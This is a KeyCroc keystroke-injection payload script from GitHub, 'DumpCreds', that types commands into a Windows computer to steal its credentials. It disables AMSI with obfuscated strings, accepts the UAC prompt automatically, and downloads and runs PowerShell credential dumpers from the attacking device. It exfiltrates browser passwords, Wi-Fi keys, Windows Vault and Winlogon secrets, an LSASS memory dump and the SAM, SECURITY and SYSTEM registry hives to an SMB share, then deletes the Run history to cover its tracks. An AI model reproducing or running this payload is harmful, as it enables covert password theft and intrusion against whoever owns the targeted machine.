Create win_dumpcreds.txt
cerebro11
GitHub
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# Title: DumpCreds
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# Author: cerebro11
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# Date: 01/08/2020
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#
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# Description: Dumps the usernames & plaintext passwords from
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# Browsers (Chrome, FireFox)
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# Windows Vault
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# Wi-Fi
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# sam, system, security from Registry => SAM Hashes (only if AdminMode=True)
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# LSASS dump => Mimikatz Dump (only if AdminMode=True)
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# System Information
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# Creds : Payload based on DumpCreds by QDBA
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#
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# Get-ChromeDump.ps1 should be downloaded from "https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-ChromeDump.ps1" and placed in "/tools/DumpCreds/"
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# Get-FoxDump.ps1 should be downloaded from "https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-FoxDump.ps1" and placed in "/tools/DumpCreds/"
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# Out-Minidump.ps1 should be downloaded from "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1" and placed in "/tools/DumpCreds/"
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# Requirements: Impacket, gohttp
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MATCH __dumpcreds
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LOOTDIR=/root/loot/dumpcreds
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# Specify target's PC keyboard language
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#export DUCKY_LANG=fr
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# Switch to ETHERNET ATTACKMODE (Windows)
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if [ ! -f "/tmp/vidpid" ]
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then
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ATTACKMODE RNDIS_ETHERNET HID VID_0X1234 PID_0X5678
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else
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VENDOR=$(cat /tmp/vidpid | cut -d: -f1)
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PRODUCT=$(cat /tmp/vidpid | cut -d: -f2)
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ATTACKMODE RNDIS_ETHERNET HID VID_0X$VENDOR PID_0X$PRODUCT
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fi
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QUACK DELAY 5000
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# Get KeyCroc's LAN IP
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croc_ip=$(ifconfig usb0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)
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SHARE="\\\\${croc_ip}\\s"
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# Loot directory
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timestamp=$(date +%s)
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mkdir -p ${LOOTDIR}/${timestamp}
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# Temporary www and smb directories
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mkdir -p /tmp/www
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mkdir -p /tmp/smb
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# Prepare scripts
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cp -r /tools/DumpCreds/* /tmp/www/
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# Start HTTP and SMB servers
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sleep 2
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cd /tmp/www/ && gohttp -p 80 &
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sleep 2
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python /tools/impacket/examples/smbserver.py s /tmp/smb -smb2support &
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# Launch cmd as admin (red window)
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QUACK LOCK
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QUACK GUI-r
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QUACK STRING "powershell -NoP -NonI -W Hidden -Exec Bypass -c \"Start-Process cmd -A '/t:4f /k mode con lines=1 cols=500' -Verb runAs\""
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QUACK ENTER
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QUACK DELAY 200
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# Bypass UAC :: Change "ALT y" and "ALT n" according to your language i.e. for us it is ALT y (Yes) and ALT n (No)
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# If Admin, UAC prompt will open and Alt y will be used (Alt n won't do anything), if not Admin, Alt n will be used to dismiss (Alt y won't do anything)
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QUACK DELAY 500
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QUACK ALT-y
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QUACK DELAY 200
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QUACK ENTER
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QUACK DELAY 500
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QUACK ALT-n
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QUACK DELAY 200
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QUACK ENTER
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# Start Attack
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# Launch powershell and extract systeminfo
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sleep 2
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QUACK STRING "powershell -NoP -NonI -W Hidden -Exec Bypass"
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QUACK ENTER
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QUACK STRING "[Ref].Assembly.GetType('Sy'+'stem.Managem'+'ent.Aut'+'omation.Am'+'s'+'iUt'+'ils').GetField('a'+'m'+'si'+'In'+'itFa'+'iled','No'+'nPub'+'lic,Static').SetValue(\$null,\$true)"
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QUACK ENTER
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QUACK STRING "\$isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] \"Administrator\")"
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QUACK ENTER
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QUACK STRING "net use $SHARE /user:\"anonymous\" \"\""
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QUACK ENTER
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QUACK STRING "systeminfo | Out-file $SHARE\\DumpCreds_systeminfo.txt"
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QUACK ENTER
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QUACK DELAY 200
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# Extract Chrome, Firefox Data
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QUACK STRING "IEX (New-Object Net.Webclient).DownloadString('http://${croc_ip}/Get-ChromeDump.ps1');"
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QUACK ENTER
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QUACK STRING "Stop-Process -name chrome -ErrorAction SilentlyContinue -Force; sleep 10; Get-ChromeDump -OutFile $SHARE\\DumpCreds_ChromeDump.txt"
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QUACK ENTER
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QUACK DELAY 200
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QUACK STRING "IEX (New-Object Net.Webclient).DownloadString('http://${croc_ip}/Get-FoxDump.ps1');"
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QUACK ENTER
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QUACK STRING "Stop-Process -name firefox -ErrorAction SilentlyContinue -Force; sleep 10; Get-FoxDump -OutFile $SHARE\\DumpCreds_FoxDump.txt"
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QUACK ENTER
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QUACK DELAY 200
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# Extract Wi-Fi Data
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QUACK STRING "(netsh wlan show profiles) | Select-String \"\:(.+)\$\" | %{\$name=\$_.Matches.Groups[1].Value.Trim(); \$_} | %{(netsh wlan show profile name=\"\$name\" key=clear)} | Select-String \"^.+Cont.+\\W+\\:(.+)\$\" | %{\$pass=\$_.Matches.Groups[1].Value.Trim(); \$_} | %{[PSCustomObject]@{ PROFILE_NAME=\$name;PASSWORD=\$pass }} | Format-Table -AutoSize | Out-File $SHARE\\DumpCreds_WiFiDump.txt"
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QUACK ENTER
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QUACK DELAY 200
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# Extract Windows Credentials from PasswordVault and WinLogon registry
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QUACK STRING "[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { \$_.RetrievePassword();\$_ } | Out-File $SHARE\\DumpCreds_VaultDump.txt"
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QUACK ENTER
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QUACK DELAY 200
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QUACK STRING "reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon\" | findstr /i \"DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername\" | Out-File $SHARE\\DumpCreds_WinLogon.txt"
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QUACK ENTER
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QUACK DELAY 200
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# If Admin, dump memory of lsass.exe and sam/security/system registries (!WARNING TAKES TIME TO COMPLETE!#)
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QUACK STRING "if (\$isAdmin) { IEX (New-Object Net.Webclient).DownloadString('http://${croc_ip}/Out-Minidump.ps1');}"
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QUACK ENTER
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QUACK STRING "if (\$isAdmin) { Get-Process lsass | Out-Minidump -DumpFilePath $SHARE}"
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QUACK ENTER
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QUACK DELAY 200
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QUACK STRING "if (\$isAdmin) { reg.exe save hklm\\sam $SHARE\\sam }"
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QUACK ENTER
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QUACK STRING "if (\$isAdmin) { reg.exe save hklm\\security $SHARE\\security }"
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QUACK ENTER
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QUACK STRING "if (\$isAdmin) { reg.exe save hklm\\system $SHARE\\system }"
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QUACK ENTER
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QUACK DELAY 200
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QUACK STRING "echo EXFILTRATION_COMPLETE > $SHARE\\EXFILTRATION_COMPLETE"
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QUACK ENTER
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# Remove Run History
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QUACK STRING "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue"
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QUACK ENTER
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QUACK DELAY 200
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QUACK STRING "exit"
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QUACK ENTER
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QUACK UNLOCK
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# Wait until files are done copying.
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while ! [ -f /tmp/smb/EXFILTRATION_COMPLETE ]; do sleep 1; done
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# Start Cleanup
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sleep 2
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# Delete Exfil file
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rm /tmp/smb/EXFILTRATION_COMPLETE
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# Move data to loot directory
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mv /tmp/smb/* ${LOOTDIR}/${timestamp}
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# Clean up temporary directories
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rm -rf /tmp/www/
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rm -rf /tmp/smb/
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# Stop HTTP and SMB servers
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kill $(ps -C "gohttp -p 80" -o pid --no-headers)
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kill $(ps -C "python /tools/impacket/examples/smbserver.py s /tmp/smb -smb2support" -o pid --no-headers)
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# Deactivate ETHERNET ATTACKMODE
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if [ ! -f "/tmp/vidpid" ]
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then
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ATTACKMODE HID VID_0X1234 PID_0X5678
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else
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VENDOR=$(cat /tmp/vidpid | cut -d: -f1)
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PRODUCT=$(cat /tmp/vidpid | cut -d: -f2)
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ATTACKMODE HID VID_0X$VENDOR PID_0X$PRODUCT
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fi
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# Complete
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